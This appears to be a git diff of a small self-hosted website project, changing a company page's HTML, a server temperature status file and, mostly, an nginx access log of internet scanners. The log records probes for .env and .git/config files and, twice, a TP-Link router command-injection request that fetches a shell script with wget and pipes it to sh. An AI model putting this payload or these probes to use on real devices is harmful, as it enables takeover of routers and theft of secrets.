<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item5"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item6"></span>
</li>
</ul>
<a href="#products" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s4.link">Product Catalog <i class="fas fa-arrow-right"></i></a> <a href="#products" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s4.link">Product Catalog <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
@@ -376,7 +489,7 @@
<div class="relative"> <div class="relative">
<div class="aspect-square rounded-[3rem] overflow-hidden shadow-2xl"><img src="assets/images/ControlRoom7.png" alt="About Hanmo" class="w-full h-full object-cover"></div> <div class="aspect-square rounded-[3rem] overflow-hidden shadow-2xl"><img src="assets/images/ControlRoom7.png" alt="About Hanmo" class="w-full h-full object-cover"></div>
<div class="absolute -bottom-10 -right-10 p-10 bg-blue-600 text-white rounded-[2rem] shadow-2xl max-w-xs"> <div class="absolute -bottom-10 -right-10 p-10 bg-blue-600 text-white rounded-[2rem] shadow-2xl max-w-xs">
<div class="text-6xl font-extralight mb-4 font-premium">15+</div> <div class="text-6xl font-extralight mb-4 font-premium">20+</div>
<div class="text-xs font-bold uppercase tracking-widest leading-loose" data-i18n="about.years">Years of Industrial Excellence</div> <div class="text-xs font-bold uppercase tracking-widest leading-loose" data-i18n="about.years">Years of Industrial Excellence</div>
</div> </div>
</div> </div>

View File

@@ -1 +1 @@
{"cpu_temp": "43", "nvme_temp": "33", "uptime_days": 4, "last_update": "21:04:02"} {"cpu_temp": "41", "nvme_temp": "33", "uptime_days": 4, "last_update": "11:35:01"}

View File

@@ -702,3 +702,173 @@
[16/Feb/2026:11:43:33 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-" [16/Feb/2026:11:43:33 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:11:57:56 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" [16/Feb/2026:11:57:56 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:12:02:39 +0000] 404 - GET http 222.117.41.51 "/.git/config" [Client 104.192.2.62] [Length 122] [Gzip 1.35] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15" "-" [16/Feb/2026:12:02:39 +0000] 404 - GET http 222.117.41.51 "/.git/config" [Client 104.192.2.62] [Length 122] [Gzip 1.35] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15" "-"
[16/Feb/2026:12:04:32 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:12:06:13 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:12:25:41 +0000] 400 - GET http localhost "/" [Client 80.82.70.133] [Length 654] [Gzip -] "Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42" "-"
[16/Feb/2026:12:28:53 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:12:29:40 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:12:31:26 +0000] 200 - GET http 222.117.41.51 "/" [Client 43.157.150.69] [Length 568] [Gzip 1.86] "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
[16/Feb/2026:12:45:56 +0000] 400 - GET http 222.117.41.51 "/.git/config" [Client 104.192.2.62] [Length 654] [Gzip -] "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:53:08 +0000] 200 - GET http 222.117.41.51 "/" [Client 130.12.180.151] [Length 1033] [Gzip -] "Hello World/1.0" "-"
[16/Feb/2026:12:53:45 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:12:55:02 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:12:59:19 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:13:19:41 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:13:19:56 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:13:24:08 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 185.253.160.148] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:13:36:21 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:13:41:43 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 152.32.250.21] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:13:41:53 +0000] 200 - GET http 222.117.41.51 "/" [Client 152.32.250.21] [Length 1033] [Gzip -] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" "-"
[16/Feb/2026:13:42:12 +0000] 400 - GET http 222.117.41.51 "/favicon.ico" [Client 127.0.0.1] [Length 230] [Gzip -] "-" "-"
[16/Feb/2026:13:42:13 +0000] 404 - GET http 222.117.41.51 "/robots.txt" [Client 152.32.250.21] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" "-"
[16/Feb/2026:13:42:13 +0000] 404 - GET http 222.117.41.51 "/sitemap.xml" [Client 152.32.250.21] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" "-"
[16/Feb/2026:13:42:13 +0000] 404 - GET http 222.117.41.51 "/config.json" [Client 152.32.250.21] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" "-"
[16/Feb/2026:13:43:49 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:13:49:21 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:13:54:27 +0000] 200 - GET http 222.117.41.51 "/" [Client 91.109.154.126] [Length 1033] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
[16/Feb/2026:13:57:06 +0000] 200 - GET http 222.117.41.51 "/" [Client 20.65.193.189] [Length 568] [Gzip 1.86] "Mozilla/5.0 zgrab/0.x" "-"
[16/Feb/2026:14:10:01 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:14:20:54 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:14:28:57 +0000] 200 - GET http 222.117.41.51 "/" [Client 103.251.27.88] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" "-"
[16/Feb/2026:14:35:00 +0000] 400 - GET http 222.117.41.51 "/" [Client 52.146.90.191] [Length 252] [Gzip -] "Mozilla/5.0 zgrab/0.x" "-"
[16/Feb/2026:14:35:00 +0000] 400 - - http localhost "-" [Client 52.146.90.191] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:14:36:11 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:14:38:05 +0000] 400 - - http localhost "-" [Client 20.46.226.34] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:14:41:39 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:15:01:30 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:15:11:56 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:15:26:01 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.156.129.57] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"
[16/Feb/2026:15:27:23 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:15:36:26 +0000] 200 - GET http 222.117.41.51 "/" [Client 89.42.231.200] [Length 1033] [Gzip -] "-" "-"
[16/Feb/2026:15:40:45 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:15:49:13 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.3.221.86] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0" "-"
[16/Feb/2026:15:51:51 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:15:54:02 +0000] 404 - GET http 222.117.41.51 "/portal/redlion" [Client 40.74.212.73] [Length 122] [Gzip 1.35] "Mozilla/5.0 zgrab/0.x" "-"
[16/Feb/2026:16:15:13 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:16:17:25 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:16:34:30 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:16:40:27 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:16:54:42 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:17:04:53 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:17:05:46 +0000] 400 - GET http 222.117.41.51 "/" [Client 213.32.122.82] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
[16/Feb/2026:17:10:23 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:17:25:46 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:17:31:22 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:17:31:52 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:17:41:42 +0000] 200 - GET http 222.117.41.51 "/" [Client 129.226.93.214] [Length 568] [Gzip 1.86] "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
[16/Feb/2026:17:45:22 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 150] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[16/Feb/2026:17:45:22 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:17:45:23 +0000] 400 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 252] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[16/Feb/2026:17:45:23 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:17:45:23 +0000] 400 - GET http 222.117.41.51 "/" [Client 34.158.168.101] [Length 252] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[16/Feb/2026:17:52:32 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 552] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[16/Feb/2026:17:52:33 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:17:52:33 +0000] 400 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[16/Feb/2026:17:52:34 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:17:52:35 +0000] 400 - GET http 222.117.41.51 "/" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[16/Feb/2026:17:55:19 +0000] 200 - GET http 222.117.41.51 "/" [Client 34.76.139.101] [Length 568] [Gzip 1.86] "python-requests/2.32.5" "-"
[16/Feb/2026:17:59:12 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:18:00:07 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:18:22:45 +0000] 404 - GET http 222.117.41.51 "/dispatch.asp" [Client 195.3.221.86] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:18:26:52 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:18:32:32 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:18:32:56 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 185.242.226.110] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:18:39:09 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 85.217.149.38] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:18:45:20 +0000] 200 - GET http 222.117.41.51 "/" [Client 89.42.231.200] [Length 1033] [Gzip -] "-" "-"
[16/Feb/2026:18:52:45 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:18:53:08 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:19:18:59 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:19:19:25 +0000] 200 - GET http 222.117.41.51 "/" [Client 43.166.244.192] [Length 568] [Gzip 1.86] "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
[16/Feb/2026:19:20:47 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:19:28:21 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:19:42:06 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:19:42:09 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:19:55:06 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:20:02:18 +0000] 404 - GET http 222.117.41.51 "/manager/text/list" [Client 20.169.105.85] [Length 122] [Gzip 1.35] "Mozilla/5.0 zgrab/0.x" "-"
[16/Feb/2026:20:07:05 +0000] 404 - GET http 222.117.41.51 "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)" [Client 221.159.119.6] [Length 150] [Gzip -] "-" "-"
[16/Feb/2026:20:07:05 +0000] 404 - GET http 222.117.41.51 "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)" [Client 221.159.119.6] [Length 150] [Gzip -] "-" "-"
[16/Feb/2026:20:10:51 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:20:19:03 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:20:23:04 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 104.192.2.62] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:23:05 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 104.192.2.62] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:23:08 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 104.192.2.62] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:32:13 +0000] 400 - GET http 222.117.41.51 "/" [Client 167.94.138.32] [Length 252] [Gzip -] "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
[16/Feb/2026:20:32:17 +0000] 400 - - http localhost "-" [Client 167.94.138.32] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:32:26 +0000] 400 - GET http 222.117.41.51 "/robots.txt" [Client 167.94.138.32] [Length 252] [Gzip -] "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
[16/Feb/2026:20:33:54 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:20:34:09 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 150] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[16/Feb/2026:20:34:10 +0000] 400 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[16/Feb/2026:20:34:10 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:34:11 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:34:11 +0000] 400 - GET http 222.117.41.51 "/" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[16/Feb/2026:20:40:18 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 150] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[16/Feb/2026:20:40:19 +0000] 400 - GET http 222.117.41.51 "/" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[16/Feb/2026:20:40:19 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:20:42:10 +0000] 404 - GET http 222.117.41.51 "/.git/config" [Client 195.178.110.162] [Length 183] [Gzip 3.21] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" "-"
[16/Feb/2026:20:45:41 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:21:00:55 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
